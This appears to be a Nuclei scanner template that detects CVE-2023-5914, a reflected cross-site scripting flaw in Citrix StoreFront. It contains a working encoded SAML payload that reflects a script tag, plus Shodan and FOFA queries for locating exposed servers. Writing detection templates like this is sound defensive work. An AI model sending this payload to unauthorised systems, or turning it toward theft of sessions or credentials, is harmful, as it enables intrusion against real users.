id: CVE-2023-5914

info:
  name: Citrix StoreFront - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    Reflected Cross-Site Scripting issue which is exploitable without authentication. This vulnerability was exploitable through coercing an error message during an XML parsing procedure in the SSO flow.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript via reflected XSS during XML parsing in the SSO flow, potentially stealing user credentials or session tokens.
  remediation: |
    Apply Citrix security updates immediately. Update to StoreFront versions 2402, 2203 CU1, 2203 LTSR CU5, 1912 LTSR CU8, or later.
  reference:
    - https://www.assetnote.io/resources/research/continuing-the-citrix-saga-cve-2023-5914-cve-2023-6184
    - https://support.citrix.com/article/CTX583759/citrix-storefront-security-bulletin-for-cve20235914
    - https://www.youtube.com/watch?v=t8MeUQrPqec
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5914
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-5914
    cwe-id: CWE-79
    epss-score: 0.69792
    epss-percentile: 0.98684
    cpe: cpe:2.3:a:cloud:citrix_storefront:*:*:*:*:ltsr:*:*:*
  metadata:
    max-request: 1
    vendor: cloud
    product: citrix_storefront
    shodan-query:
      - html:"/Citrix/StoreWeb"
      - http.html:"/citrix/storeweb"
    fofa-query: body="/citrix/storeweb"
  tags: cve,xss,citrix,storefront,cve2023,cloud,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/Citrix/teststoreAuth/SamlTest"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "SAMLResponse=q1YKdvT1CUotLsjPK05VskLhBrhHlSVVOpkkhZebJRs7ZUQahVp6ZkYVp7iUVEUaexUkewTmRhkHmkeGV%2bQk5wXm%2bwZn5yZ5BJr7GPtlJefmlKc4R%2bWluBRnBmSVl0XlWpYFpNvaKtUCAA%3d%3d"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(1)</script>", "XmlException")'
        condition: and
# digest: 4b0a00483046022100ad0670f98b9d12af9144f44b8d521646b67774b71132f5998af16f14ca857a02022100a7eea40f48512bdef2f5fd11ef1bd025b9fa3f65aa0112c980ce9f30e3d9fb02:922c64590222798bb761d5b6d8e72950